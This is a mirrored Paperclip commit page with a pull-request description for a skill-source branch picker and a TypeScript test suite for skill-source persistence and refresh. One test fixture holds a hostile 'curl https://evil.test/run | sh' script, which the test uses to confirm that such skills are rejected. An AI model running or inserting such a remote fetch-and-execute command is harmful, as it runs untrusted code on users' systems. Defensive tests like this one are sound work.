mirror of
https://github.com/paperclipai/paperclip.git
synced 2026-11-06 23:20:53 +01:00
## Thinking Path > - Paperclip is the open source app people use to manage AI agents for work. > - Skills can track a branch in an authorized GitHub repository. > - Sources previously offered only a default-branch repair action. > - People need to select a listed branch or enter a branch that GitHub has not listed. > - The server must validate the selected ref with the caller's authorized connection. > - This pull request connects the approved branch picker to production APIs. > - Installed skills remain usable while the source changes its tracked ref. ## Linked Issues or Issue Description **Subsystem affected** Skills UI, shared API contracts, GitHub source services, and agent API discovery. **Problem or motivation** The default-branch repair action does not let people choose another branch. The settings service also validates the old ref when a caller supplies a new ref other than HEAD. A missing tracked branch can prevent connection repair even when the selected account has repository access. **Proposed solution** Load a bounded branch list with the authorized connection. Mark the default branch. Search listed branches or accept a typed ref. Validate the selected ref before saving. Keep the chosen value after a load error, invalid ref, or concurrent update. Save the selected connection and branch together during connection repair. **Alternatives considered** A default-branch button does not support a named branch. A text field alone does not help people find the repository default or available branches. **Roadmap alignment** This improves the existing Skills source manager. It does not add a new skill import system. **Additional context** Refs #16066 and #16256. This is the production implementation of the approved branch-selection Storybook journeys. ## What Changed - Add an authorized branch-list endpoint and shared response/query types. Register it in agent API discovery. - Validate the requested ref, including the returned commit SHA. Preserve source leases, revision checks, project ownership, skill identities, selections, and installed versions. - Add the searchable branch picker to Sources and connection repair. Allow typed refs during branch discovery and after discovery fails. - Keep save errors in the dialog. Retain the selected branch through a concurrent source update. - Use the production components and API client in Storybook. Add keyboard, touch, loading, retry, invalid-ref, connection-repair, and concurrent-update browser journeys. - Update product documentation and the feature/access maps. ## Verification - Red/green: two new database regressions fail against the previous service and pass against the implementation. - Linux database/service suite: 85 tests passed. This includes source visibility, human/agent authorization, selected connections, immutable versions, and invalid refs. - Rebased branch and review fixes: 94 focused UI, route, branch-validation, and fixture tests passed. Two conflict-message regressions and the stale-retry fixture regression fail before the fix and pass after it. - Storybook build passed. All 26 focused browser journeys passed. - Repository typecheck and build passed. Final UI typecheck passed after the review fixes. - The full local Vitest run was interrupted when the checkout and its dependencies disappeared. It reported missing working-directory/Postgres files and worker startup errors. Its two timed-out tests pass after the checkout was restored. The complete CI suite passed on the final head, `cf5d4c8f0a`: [CI run](https://github.com/paperclipai/paperclip/actions/runs/38571068332). One unchanged workspace timestamp test required a single rerun. Its release-minus-one-millisecond value can equal the original confirmation time. The rerun passed. - Live acceptance passed on implementation head `5dd935bf14` in an isolated macOS arm64 instance with Node 24.21.0 and an authorized private GitHub repository. The UI loaded the actual default branch, saved branch and selected connection together, and preserved the installed skill/version IDs after reload. An invalid typed ref retained the draft and showed the provider error. A valid typed HEAD ref then saved successfully. The owned runtime and database were stopped after the test. Focused unit, Linux database, and browser suites passed again after the error-handling review fixes. - Greptile reviewed final head `cf5d4c8f0a` at 5/5. Both review threads are resolved; the fresh review has no remaining findings. - Token gates and map/catalog checks passed. - Review entry points: `Skills / Project repository skills / 03 Branch selection components` and `04 Branch selection journeys`. Run `pnpm storybook` to inspect them. - Browser command: `pnpm exec playwright test --config tests/storybook-visual/playwright.config.ts tests/storybook-visual/skill-source-branch-selection.spec.ts tests/storybook-visual/project-repository-skills.spec.ts`. - Manual check: open an independent GitHub source, choose a new branch, select the default or type a ref, save, and reload. Try an invalid ref and confirm the selection remains in the dialog. For a project-bound source, change its ref in project settings. ## Risks - GitHub discovery is bounded to 100 listed branches. The default branch is always included. Typed refs remain available. - A source can change while the dialog is open. The API rejects a stale revision and the UI keeps the draft for retry. - A ref change schedules the existing refresh pipeline. Installed versions remain available until a successful refresh imports new content. - No database migration or credential storage change is required. Existing HEAD requests remain supported. ## Model Used OpenAI Codex, GPT-6 family. The serving model's exact identifier and context-window size are not exposed in this session. Used reasoning, repository tools, code execution, and browser tools. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs) - [x] My branch name describes the change (e.g. `docs/...`, `fix/...`) and contains no internal Paperclip ticket id or instance-derived details - [x] I have run tests locally and they pass - [x] I have added or updated tests where applicable - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [x] All Paperclip CI gates are green - [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [x] I will address all Greptile and reviewer comments before requesting merge --------- Co-authored-by: Paperclip <noreply@paperclip.ing>
764 lines
64 KiB
TypeScript
764 lines
64 KiB
TypeScript
import { randomUUID } from 'node:crypto';
|
|
import { execFile } from 'node:child_process';
|
|
import { promisify } from 'node:util';
|
|
import { promises as fs } from 'node:fs';
|
|
import os from 'node:os';
|
|
import path from 'node:path';
|
|
import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest';
|
|
import { agents, folders, companySkillSources, companies, companySkills, companySkillVersions, companySkillRepositorySnapshots, createDb } from '@paperclipai/db';
|
|
import { eq, sql } from 'drizzle-orm';
|
|
import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from './helpers/embedded-postgres.js';
|
|
import { unprocessable } from '../errors.js';
|
|
import { githubFixture } from './helpers/github-skills.js';
|
|
import { skillSourceService, type SkillSourceContext } from '../services/skill-sources.js';
|
|
import { companySkillService } from '../services/company-skills.js';
|
|
import { skillFileBytes } from '../services/skill-snapshot.js';
|
|
import { deleteCompany } from '../services/company-deletion.js';
|
|
|
|
const support = await getEmbeddedPostgresTestSupport();
|
|
describe.skipIf(!support.supported)('skill source persistence', () => {
|
|
let testDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>>;
|
|
let db: ReturnType<typeof createDb>;
|
|
let home: string;
|
|
const originalHome = process.env.PAPERCLIP_HOME;
|
|
const companyId = randomUUID();
|
|
const sha = 'a'.repeat(40);
|
|
const md = (name: string) => `---\nname: ${name}\ndescription: Example\n---\nDo useful work.\n`;
|
|
const initial = { 'deep/one/SKILL.md': md('one'), 'deep/one/scripts/run.sh': '#!/bin/sh\necho hello', 'deep/one/assets/image.png': Buffer.from([0,255,137,80]), 'elsewhere/one/SKILL.md': md('one') };
|
|
let files: Record<string, string | Buffer> = initial;
|
|
let commit = sha;
|
|
const context: SkillSourceContext = { actor: { type: 'user', userId: 'board' }, read: () => githubFixture(files, { 'deep/one/scripts/run.sh': '100755', 'shared/check.sh': '100755' }, commit), authorize: async () => {}, audit: async () => {} };
|
|
beforeAll(async () => {
|
|
testDb = await startEmbeddedPostgresTestDatabase('paperclip-skill-sources-'); db = createDb(testDb.connectionString);
|
|
home = await fs.mkdtemp(path.join(os.tmpdir(), 'paperclip-source-test-')); process.env.PAPERCLIP_HOME = home;
|
|
await db.insert(companies).values({ id: companyId, name: 'Skills', issuePrefix: 'SKL' });
|
|
}, 30000);
|
|
afterAll(async () => {
|
|
if (originalHome === undefined) delete process.env.PAPERCLIP_HOME; else process.env.PAPERCLIP_HOME = originalHome;
|
|
await testDb?.cleanup(); if (home) await fs.rm(home, { recursive: true, force: true });
|
|
});
|
|
it('explicitly repairs a missing branch while retaining connection, selection and installed versions', async () => {
|
|
const companyId = randomUUID();
|
|
await db.insert(companies).values({ id: companyId, name: 'Branch repair', issuePrefix: 'BRP' });
|
|
const service = skillSourceService(db);
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'missing-branch', commitSha: sha, selectedPaths: ['deep/one/SKILL.md'] }, context);
|
|
const reader = githubFixture(initial);
|
|
const read = vi.fn(reader);
|
|
Object.assign(read, { openSnapshot: reader.openSnapshot });
|
|
const failedRead = Object.assign(async (request: string) => {
|
|
if (request.endsWith('/commits/missing-branch')) throw unprocessable('The tracked GitHub branch or revision is unavailable.', { code: 'skill_source_ref_unavailable' });
|
|
return reader(request);
|
|
}, { openSnapshot: reader.openSnapshot });
|
|
await expect(service.settings(companyId, created.source.id, { revision: created.source.revision, connectionId: randomUUID() }, { ...context, read: () => failedRead }))
|
|
.rejects.toMatchObject({ details: { code: 'skill_source_ref_unavailable' } });
|
|
expect((await service.detail(companyId, created.source.id)).connectionId).toBe(created.source.connectionId);
|
|
const repaired = await service.settings(companyId, created.source.id, { revision: created.source.revision, trackingRef: 'HEAD' }, { ...context, read: () => read });
|
|
expect(repaired.trackingRef).toBe('HEAD');
|
|
expect(repaired.entries).toEqual(created.source.entries);
|
|
expect(read).toHaveBeenCalledWith('/repos/acme/skills');
|
|
expect(read).toHaveBeenCalledWith('/repos/acme/skills/commits/main');
|
|
const refreshed = await service.refresh(companyId, repaired.id, context);
|
|
expect(refreshed.source.trackingRef).toBe('HEAD');
|
|
expect(refreshed.source.entries[0]?.skillId).toBe(created.source.entries[0]?.skillId);
|
|
});
|
|
it('validates the selected branch and retains installed content until a successful refresh', async () => {
|
|
const isolatedCompany = randomUUID();
|
|
await db.insert(companies).values({ id: isolatedCompany, name: 'Selected branch', issuePrefix: 'SBR' });
|
|
const service = skillSourceService(db);
|
|
const created = await service.create(isolatedCompany, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'main', commitSha: sha, selectedPaths: ['deep/one/SKILL.md'], excludedFolders: ['elsewhere'] }, context);
|
|
const versions = await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, isolatedCompany));
|
|
const read = vi.fn(githubFixture(initial));
|
|
const repaired = await service.settings(isolatedCompany, created.source.id, { revision: created.source.revision, trackingRef: 'feature/New' }, { ...context, read: () => read });
|
|
expect(read).toHaveBeenCalledWith('/repos/acme/skills/commits/feature%2FNew');
|
|
expect(repaired.trackingRef).toBe('feature/New');
|
|
expect(repaired.entries).toEqual(created.source.entries);
|
|
expect(repaired.excludedFolders).toEqual(['elsewhere']);
|
|
expect(repaired.lastScanCommit).toBe(created.source.lastScanCommit);
|
|
await expect(service.settings(isolatedCompany, created.source.id, { revision: created.source.revision, automaticUpdates: false }, context))
|
|
.rejects.toMatchObject({ status: 409, details: { code: 'skill_source_settings_changed' } });
|
|
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, isolatedCompany))).toEqual(versions);
|
|
const changed = githubFixture({ 'deep/one/SKILL.md': md('new branch version') }, {}, 'f'.repeat(40));
|
|
await service.refresh(isolatedCompany, repaired.id, { ...context, read: () => changed });
|
|
const skillId = repaired.entries.find(entry => entry.skillId)!.skillId!;
|
|
const current = await companySkillService(db).getById(isolatedCompany, skillId);
|
|
expect(current!.sourceRef).toBe('f'.repeat(40));
|
|
expect(current!.currentVersionId).not.toBe(versions[0]!.id);
|
|
expect(await companySkillService(db).getVersion(isolatedCompany, skillId, versions[0]!.id)).not.toBeNull();
|
|
});
|
|
it('rejects an unavailable selected branch without changing the source or recording a successful audit', async () => {
|
|
const isolatedCompany = randomUUID();
|
|
await db.insert(companies).values({ id: isolatedCompany, name: 'Unavailable branch', issuePrefix: 'UBR' });
|
|
const service = skillSourceService(db);
|
|
const created = await service.create(isolatedCompany, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'main', commitSha: sha, selectedPaths: ['deep/one/SKILL.md'] }, context);
|
|
const original = githubFixture(initial), audit = vi.fn();
|
|
const read = async (request: string) => {
|
|
if (request.endsWith('/commits/feature%2Fmissing')) throw unprocessable('Unavailable branch.', { code: 'skill_source_ref_unavailable' });
|
|
if (request.endsWith('/commits/..')) return { id: 42, default_branch: 'main' };
|
|
return original(request);
|
|
};
|
|
for (const trackingRef of ['feature/missing', '..']) await expect(service.settings(isolatedCompany, created.source.id, { revision: created.source.revision, trackingRef }, { ...context, audit, read: () => read })).rejects.toMatchObject({ details: { code: 'skill_source_ref_unavailable' } });
|
|
expect(await service.detail(isolatedCompany, created.source.id)).toEqual(created.source);
|
|
expect(audit).not.toHaveBeenCalled();
|
|
});
|
|
it('requires source edit authorization before reading branches and uses only the requested connection', async () => {
|
|
const service = skillSourceService(db);
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'branch-list', commitSha: sha, selectedPaths: [] }, context);
|
|
const read = vi.fn(async (request: string) => request === '/repos/acme/skills' ? { id: 42, default_branch: 'main' } : [{ name: 'main' }]);
|
|
const connection = randomUUID(), choose = vi.fn(() => read);
|
|
const result = await service.branches(companyId, created.source.id, { connectionId: connection }, { ...context, read: choose });
|
|
expect(result.defaultBranch).toBe('main'); expect(choose).toHaveBeenCalledWith(connection);
|
|
read.mockClear();
|
|
await expect(service.branches(companyId, created.source.id, {}, { ...context, read: choose, authorize: async () => { throw unprocessable('Editing denied.'); } })).rejects.toThrow('Editing denied');
|
|
expect(read).not.toHaveBeenCalled();
|
|
});
|
|
it('checks a new commit with an unchanged tree without downloading or replacing versions', async () => {
|
|
const originalFiles = files, originalCommit = commit;
|
|
try {
|
|
const service = skillSourceService(db);
|
|
files = { 'tree/SKILL.md': md('tree') }; commit = '3'.repeat(40);
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'tree-only', commitSha: commit, selectedPaths: ['tree/SKILL.md'] }, context);
|
|
const skillId = created.source.entries[0]!.skillId!;
|
|
const previous = (await companySkillService(db).getById(companyId, skillId))!.currentVersionId;
|
|
await db.update(companySkillSources).set({ lastScanTreeSha: null }).where(eq(companySkillSources.id, created.source.id));
|
|
const currentReader = context.read(null), currentOpen = vi.spyOn(currentReader, 'openSnapshot');
|
|
await service.refresh(companyId, created.source.id, { ...context, read: () => currentReader }, undefined, undefined, { checkCommit: true });
|
|
expect(currentOpen).not.toHaveBeenCalled();
|
|
const [remembered] = await db.select().from(companySkillSources).where(eq(companySkillSources.id, created.source.id));
|
|
expect(remembered!.lastScanTreeSha).toMatch(/^[a-f0-9]{40}$/);
|
|
commit = '4'.repeat(40);
|
|
const reader = context.read(null), open = vi.spyOn(reader, 'openSnapshot');
|
|
const result = await service.refresh(companyId, created.source.id, { ...context, read: () => reader }, undefined, undefined, { checkCommit: true });
|
|
expect(open).not.toHaveBeenCalled();
|
|
expect(result.source.lastScanCommit).toBe(commit);
|
|
expect((await companySkillService(db).getById(companyId, skillId))!.currentVersionId).toBe(previous);
|
|
files['tree/SKILL.md'] = md('tree changed'); commit = '5'.repeat(40);
|
|
const changed = context.read(null), changedOpen = vi.spyOn(changed, 'openSnapshot');
|
|
await service.refresh(companyId, created.source.id, { ...context, read: () => changed }, undefined, undefined, { checkCommit: true });
|
|
expect(changedOpen).toHaveBeenCalledTimes(1);
|
|
expect((await companySkillService(db).getById(companyId, skillId))!.currentVersionId).not.toBe(previous);
|
|
} finally { files = originalFiles; commit = originalCommit; }
|
|
});
|
|
|
|
it('persists automatic work limits, refills capacity, and allows explicit refresh', async () => {
|
|
const originalFiles = files, originalCommit = commit;
|
|
try {
|
|
files = { 'budget/SKILL.md': md('budget') }; commit = '6'.repeat(40);
|
|
let downloads = 0;
|
|
const budgetContext: SkillSourceContext = { ...context, read: () => {
|
|
const reader = context.read(null), open = reader.openSnapshot;
|
|
reader.openSnapshot = async (...args) => { downloads++; return { ...await open(...args), downloadBytes: 128 * 1024 * 1024 }; };
|
|
return reader;
|
|
} };
|
|
const service = skillSourceService(db);
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'work-budget', commitSha: commit, selectedPaths: ['budget/SKILL.md'] }, budgetContext);
|
|
const start = new Date();
|
|
for (let index = 0; index < 4; index++) {
|
|
files['budget/SKILL.md'] = md(`budget revision ${index}`); commit = (7 + index).toString(16).repeat(40);
|
|
await service.refresh(companyId, created.source.id, budgetContext, undefined, undefined, { checkCommit: true, automatic: true, now: start });
|
|
}
|
|
const skillId = created.source.entries[0]!.skillId!;
|
|
const version = (await companySkillService(db).getById(companyId, skillId))!.currentVersionId;
|
|
files['budget/SKILL.md'] = md('budget next'); commit = 'b'.repeat(40);
|
|
const before = downloads;
|
|
await expect(skillSourceService(db).refresh(companyId, created.source.id, budgetContext, undefined, undefined,
|
|
{ checkCommit: true, automatic: true, now: start })).rejects.toThrow(/temporarily limited/);
|
|
expect(downloads).toBe(before);
|
|
expect((await companySkillService(db).getById(companyId, skillId))!.currentVersionId).toBe(version);
|
|
await service.refresh(companyId, created.source.id, budgetContext, undefined, undefined, { checkCommit: true });
|
|
expect(downloads).toBe(before + 1);
|
|
const [budgetRow] = await db.select().from(companySkillSources).where(eq(companySkillSources.id, created.source.id));
|
|
expect(budgetRow!.automaticBudgetAt.getTime()).toBe(start.getTime());
|
|
expect(budgetRow!.automaticBudgetBytes).toBe(0);
|
|
files['budget/SKILL.md'] = md('budget refilled'); commit = 'c'.repeat(40);
|
|
await skillSourceService(db).refresh(companyId, created.source.id, budgetContext, undefined, undefined,
|
|
{ checkCommit: true, automatic: true, now: new Date(start.getTime() + 15 * 60_000) });
|
|
expect(downloads).toBe(before + 2);
|
|
expect((await companySkillService(db).getById(companyId, skillId))!.currentVersionId).not.toBe(version);
|
|
} finally { files = originalFiles; commit = originalCommit; }
|
|
});
|
|
|
|
it('refunds unused automatic capacity for small repositories', async () => {
|
|
const originalFiles = files, originalCommit = commit;
|
|
try {
|
|
files = { 'small/SKILL.md': md('small') }; commit = 'd'.repeat(40);
|
|
const service = skillSourceService(db);
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'small-budget', commitSha: commit, selectedPaths: ['small/SKILL.md'] }, context);
|
|
const now = new Date();
|
|
for (let index = 0; index < 6; index++) {
|
|
files['small/SKILL.md'] = md(`small revision ${index}`); commit = String(index + 1).repeat(40);
|
|
await service.refresh(companyId, created.source.id, context, undefined, undefined, { checkCommit: true, automatic: true, now });
|
|
}
|
|
const [stored] = await db.select().from(companySkillSources).where(eq(companySkillSources.id, created.source.id));
|
|
expect(stored!.automaticBudgetBytes).toBeGreaterThan(500 * 1024 * 1024);
|
|
} finally { files = originalFiles; commit = originalCommit; }
|
|
});
|
|
|
|
it('imports duplicate names independently, stores complete snapshots and refreshes without duplicates', async () => {
|
|
const sources = skillSourceService(db), skills = companySkillService(db);
|
|
const result = await sources.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', commitSha: sha, selectedPaths: ['deep/one/SKILL.md', 'elsewhere/one/SKILL.md'] }, context);
|
|
expect(result.imported).toHaveLength(2);
|
|
const stored = (await sources.detail(companyId, result.source.id)).entries.find(entry => entry.path === 'deep/one/SKILL.md')!.inspection!;
|
|
expect(stored.files.map(file => file.path)).toEqual(['SKILL.md', 'scripts/run.sh', 'assets/image.png']);
|
|
expect(JSON.stringify(stored)).not.toContain('echo hello');
|
|
expect(new Set(result.imported.map(skill => skill.key)).size).toBe(2);
|
|
const skill = result.imported.find(skill => skill.metadata?.skillSourcePath === 'deep/one/SKILL.md')!;
|
|
expect((await skills.readFile(companyId, skill.id, 'assets/image.png'))?.encoding).toBe('base64');
|
|
expect((await skills.readFile(companyId, skill.id, 'scripts/run.sh'))?.executable).toBe(true);
|
|
const before = await skills.listVersions(companyId, skill.id);
|
|
const installedBefore = (await skills.getById(companyId, skill.id))!;
|
|
commit = 'b'.repeat(40);
|
|
const unchanged = await sources.refresh(companyId, result.source.id, context);
|
|
expect(unchanged.unchanged).toBe(2);
|
|
expect((await skills.getById(companyId, skill.id))?.updatedAt).toEqual(installedBefore.updatedAt);
|
|
expect(await skills.listVersions(companyId, skill.id)).toHaveLength(before.length);
|
|
expect((await skills.getById(companyId, skill.id))?.sourceRef).toBe(sha);
|
|
const modeChange = await sources.refresh(companyId, result.source.id, { ...context, read: () => githubFixture(files, {}, commit) });
|
|
expect(modeChange.updated.map(item => item.id)).toEqual([skill.id]);
|
|
expect((await skills.readFile(companyId, skill.id, 'scripts/run.sh'))?.executable).not.toBe(true);
|
|
files = { ...initial, 'deep/one/references/new.md': 'New guidance', 'new/SKILL.md': md('new') };
|
|
delete files['elsewhere/one/SKILL.md']; commit = 'c'.repeat(40);
|
|
const changed = await sources.refresh(companyId, result.source.id, context);
|
|
expect(changed.updated).toHaveLength(1);
|
|
expect(changed.imported).toHaveLength(0);
|
|
expect(changed.source.entries.find(entry => entry.path === 'new/SKILL.md')?.selection).toBe('new');
|
|
expect(changed.source.entries.find(entry => entry.path === 'elsewhere/one/SKILL.md')?.present).toBe(false);
|
|
// Removed entries keep the commit their retained manifest actually describes.
|
|
expect(changed.source.entries.find(entry => entry.path === 'elsewhere/one/SKILL.md')?.inspection?.commitSha).toBe('b'.repeat(40));
|
|
expect(changed.source.lastScanCommit).toBe('c'.repeat(40));
|
|
expect((await skills.getById(companyId, result.imported.find(item => item.id !== skill.id)!.id))?.metadata?.skillSourceState).toBe('removed');
|
|
// Installed files are local snapshots: loss of GitHub access does not affect reads or runtime materialization.
|
|
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('offline'));
|
|
try {
|
|
expect((await skills.readFile(companyId, skill.id, 'references/new.md'))?.content).toBe('New guidance');
|
|
const runtime = await skills.listRuntimeSkillEntries(companyId, { materializeMissing: true });
|
|
const staged = runtime.find(entry => entry.key === skill.key)!;
|
|
expect(await fs.readFile(path.join(staged.source, 'assets/image.png'))).toEqual(initial['deep/one/assets/image.png']);
|
|
expect((await fs.stat(path.join(staged.source, 'scripts/run.sh'))).mode & 0o111).toBeTruthy();
|
|
expect((await promisify(execFile)(path.join(staged.source, 'scripts/run.sh'))).stdout.trim()).toBe('hello');
|
|
} finally { fetchSpy.mockRestore(); }
|
|
await expect(sources.refresh(companyId, result.source.id, context, { revision: 0, selectedPaths: [], excludedFolders: [] })).rejects.toThrow(/changed/);
|
|
const disconnected = await sources.disconnect(companyId, result.source.id, context, { revision: (await sources.detail(companyId, result.source.id)).revision, skills: 'copy' });
|
|
expect(disconnected.copiedCount).toBe(2);
|
|
await expect(sources.detail(companyId, result.source.id)).rejects.toThrow(/not found/);
|
|
expect(await skills.getById(companyId, skill.id)).not.toBeNull();
|
|
await expect(sources.detail(randomUUID(), result.source.id)).rejects.toThrow(/not found/);
|
|
});
|
|
it('rolls back source, skills and versions if required activity persistence fails', async () => {
|
|
files = { 'SKILL.md': md('rollback') }; commit = sha;
|
|
const before = await db.select().from(companySkills).where(eq(companySkills.companyId, companyId));
|
|
await expect(skillSourceService(db).create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'rollback', commitSha: sha, selectedPaths: ['SKILL.md'] }, { ...context, audit: async () => { throw new Error('audit unavailable'); } })).rejects.toThrow('audit unavailable');
|
|
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, companyId))).toHaveLength(before.length);
|
|
expect((await skillSourceService(db).list(companyId)).some(source => source.trackingRef === 'rollback')).toBe(false);
|
|
expect((await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, companyId))).every(version => before.some(skill => skill.id === version.companySkillId))).toBe(true);
|
|
});
|
|
it('retains excluded folders, reviews additions, restores removed paths and preserves pinned versions and copies', async () => {
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
files = { 'keep/SKILL.md': md('keep'), 'keep/assets/data.bin': Buffer.from([0,255]), 'keep/run.sh': '#!/bin/sh\necho original', 'declined/one/SKILL.md': md('one') }; commit = sha;
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'selection', commitSha: sha, selectedPaths: ['keep/SKILL.md'], excludedFolders: ['declined'] }, context);
|
|
const original = created.imported[0]!;
|
|
const versionId = original.currentVersionId!;
|
|
const copy = await skills.forkSkill(companyId, original.id, { slug: 'independent-copy' });
|
|
expect((await skills.readFile(companyId, copy.skill.id, 'assets/data.bin'))?.content).toBe(Buffer.from([0,255]).toString('base64'));
|
|
await expect(skills.updateFile(companyId, copy.skill.id, 'assets/data.bin', 'not base64!', null, { encoding: 'base64' })).rejects.toThrow(/base64/);
|
|
await skills.updateFile(companyId, copy.skill.id, 'assets/data.bin', Buffer.from([0,128,1]).toString('base64'), null, { encoding: 'base64', executable: true });
|
|
expect(await skills.readFile(companyId, copy.skill.id, 'assets/data.bin')).toMatchObject({ content: Buffer.from([0,128,1]).toString('base64'), executable: true });
|
|
expect(copy.skill.metadata?.skillSourceId).toBeUndefined();
|
|
files = { ...files, 'keep/reference.md': 'changed', 'declined/two/SKILL.md': md('two'), 'fresh/SKILL.md': md('fresh') }; commit = 'd'.repeat(40);
|
|
let refreshed = await service.refresh(companyId, created.source.id, context);
|
|
expect(refreshed.source.entries.find(e => e.path === 'declined/two/SKILL.md')?.selection).toBe('excluded');
|
|
expect(refreshed.source.entries.find(e => e.path === 'fresh/SKILL.md')?.selection).toBe('new');
|
|
expect((await skills.getById(companyId, original.id))?.currentVersionId).not.toBe(versionId);
|
|
const pinned = await skills.listRuntimeSkillEntries(companyId, { materializeMissing: true, versionSelections: new Map([[original.key, versionId]]) });
|
|
await expect(fs.stat(path.join(pinned.find(e => e.key === original.key)!.source, 'reference.md'))).rejects.toThrow();
|
|
expect((await skills.readFile(companyId, copy.skill.id, 'assets/data.bin'))?.content).toBe(Buffer.from([0,128,1]).toString('base64'));
|
|
// Save a reviewed selection: keep installed skill but stop syncing it; decline the fresh one.
|
|
refreshed = await service.refresh(companyId, created.source.id, context, { revision: refreshed.source.revision, selectedPaths: [], excludedFolders: ['declined'] });
|
|
const keptVersion = (await skills.getById(companyId, original.id))!.currentVersionId;
|
|
files['keep/reference.md'] = 'later change';
|
|
refreshed = await service.refresh(companyId, created.source.id, context);
|
|
expect((await skills.getById(companyId, original.id))?.currentVersionId).toBe(keptVersion);
|
|
expect(refreshed.source.entries.find(e => e.path === 'fresh/SKILL.md')?.selection).toBe('excluded');
|
|
// Re-select, remove upstream, and reappear: identity is stable at this exact path.
|
|
refreshed = await service.refresh(companyId, created.source.id, context, { revision: refreshed.source.revision, selectedPaths: ['keep/SKILL.md'], excludedFolders: ['declined'] });
|
|
const kept = { ...files }; delete files['keep/SKILL.md'];
|
|
await service.refresh(companyId, created.source.id, context);
|
|
files = kept;
|
|
refreshed = await service.refresh(companyId, created.source.id, context);
|
|
expect(refreshed.source.entries.find(e => e.path === 'keep/SKILL.md')).toMatchObject({ skillId: original.id, present: true, selection: 'selected' });
|
|
});
|
|
it('serializes refreshes, preserves prior content on access failure and publishes valid siblings of invalid skills', async () => {
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
files = { 'good/SKILL.md': md('good'), 'bad/SKILL.md': md('bad') }; commit = sha;
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'failures', commitSha: sha, selectedPaths: Object.keys(files) }, context);
|
|
let release!: () => void;
|
|
let entered!: () => void;
|
|
const started = new Promise<void>(resolve => { entered = resolve; });
|
|
const blocked = new Promise<void>(resolve => { release = resolve; });
|
|
const pending = service.refresh(companyId, created.source.id, { ...context, read: id => Object.assign(async (request: string) => { entered(); await blocked; return context.read(id)(request); }, { openSnapshot: context.read(id).openSnapshot }) });
|
|
await started;
|
|
await expect(service.refresh(companyId, created.source.id, context)).rejects.toThrow(/refreshing/);
|
|
release(); await pending;
|
|
const before = await service.detail(companyId, created.source.id);
|
|
await expect(service.refresh(companyId, created.source.id, { ...context, read: () => Object.assign(async () => { throw new Error('provider unavailable'); }, { openSnapshot: context.read(null).openSnapshot }) })).rejects.toThrow();
|
|
const failed = await service.detail(companyId, created.source.id);
|
|
expect(failed.lastSuccessAt).toEqual(before.lastSuccessAt);
|
|
expect(failed.lastAttemptAt!.getTime()).toBeGreaterThanOrEqual(before.lastAttemptAt!.getTime());
|
|
expect(failed.revision).toBe(before.revision);
|
|
files = { 'good/SKILL.md': md('good updated'), 'bad/SKILL.md': md('bad'), 'bad/run.sh': 'curl https://evil.test/run | sh' }; commit = 'e'.repeat(40);
|
|
const result = await service.refresh(companyId, created.source.id, context);
|
|
expect(result.updated).toHaveLength(1);
|
|
const bad = created.imported.find(skill => skill.name === 'bad')!;
|
|
expect((await skills.getById(companyId, bad.id))?.currentVersionId).toBe(bad.currentVersionId);
|
|
expect(result.source.entries.find(entry => entry.skillId === bad.id)?.error).toMatch(/execution/);
|
|
expect(result.warnings.length).toBeGreaterThan(0);
|
|
const beforeRollback = await skills.getById(companyId, result.updated[0]!.id);
|
|
files['good/SKILL.md'] = md('should roll back');
|
|
await expect(service.refresh(companyId, created.source.id, { ...context, audit: async () => { throw new Error('audit failed'); } })).rejects.toThrow();
|
|
expect((await skills.getById(companyId, beforeRollback!.id))?.currentVersionId).toBe(beforeRollback!.currentVersionId);
|
|
});
|
|
it('adopts legacy GitHub imports without provider calls or changing identity, content or assignments', async () => {
|
|
const legacyCompany = randomUUID();
|
|
await db.insert(companies).values({ id: legacyCompany, name: 'Legacy', issuePrefix: 'LEG' });
|
|
const [legacy, bundled] = await db.insert(companySkills).values([
|
|
{ companyId: legacyCompany, key: 'legacy/custom', slug: 'original-slug', name: 'Original name', markdown: md('legacy'), sourceType: 'github', sourceRef: sha, metadata: { hostname: 'github.com', owner: 'acme', repo: 'skills', trackingRef: 'legacy', repoSkillDir: 'legacy' } },
|
|
{ companyId: legacyCompany, key: 'paperclipai/paperclip/bundled', slug: 'bundled', name: 'Bundled', markdown: md('bundled'), sourceType: 'github', metadata: { hostname: 'github.com', owner: 'acme', repo: 'skills', sourceKind: 'paperclip_bundled' } },
|
|
]).returning();
|
|
// Production runs 0291 before 0341. This harness uses the latest schema,
|
|
// whose repository/ref uniqueness is partial; retain the same backfill
|
|
// assertions while specifying that index's inference predicate.
|
|
const migration = (await fs.readFile(new URL('../../../packages/db/src/migrations/0291_conscious_secret_warriors.sql', import.meta.url), 'utf8'))
|
|
.replace('ON CONFLICT (company_id, repository_url, tracking_ref) DO NOTHING',
|
